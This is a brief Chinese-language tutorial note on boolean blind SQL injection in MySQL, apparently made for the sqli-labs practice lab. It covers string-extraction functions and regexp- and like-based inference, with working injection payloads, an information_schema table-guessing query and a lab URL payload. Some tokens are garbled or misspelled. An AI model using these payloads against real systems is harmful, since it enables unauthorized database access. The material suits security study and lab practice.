構造邏輯判斷
經常使用字符串截取函數http://www.cnblogs.com/yyccww/p/6054569.html
經常使用函數
left(a,b) 從左側截取a的前b位
right(a,b) 從右側截取a的前b位
substr(a,b,c) 從b位置,將字符串a截取c的長度
mid(a,b,c) 從b位置,將字符串a截取c的長度
ascii() 將字符轉換爲ascii
ord()同ascii()同樣
repexp正則注入
用法select user() regexp '^[a-z]'
第二位能夠用select user() regexp '^ro'
當正確的時候顯示結果爲1,不正確的是時候結果爲0
select * from users where id=1 and 1=(if((user() regexp '^r'),1,0))
select * from users where id=1 and 1=(user() regexp '^r')
^是從開頭進行匹配,$是從結尾開始匹配html
詳細信息http://www.cnblogs.com/yyccww/p/6054579.html
經過if語句的條件判斷,返回一些條件句,好比if構造一個判斷.根據返回結果是否等於0或者等於1進行判斷
select * from users where id=1
and 1=(select 1 from
information_schema.tables
where table_schema='secrity' and
table_name regexp '^us[a-z]' limit 0,1)
like匹配注入
和上述的正則相似,mysql在匹配的時候咱們能夠用like進行匹配
用法 select user() like 'ro%'
http://127.0.0.1/sqli/Less-5/?id=1' and user() like 'eo%'--+
mysql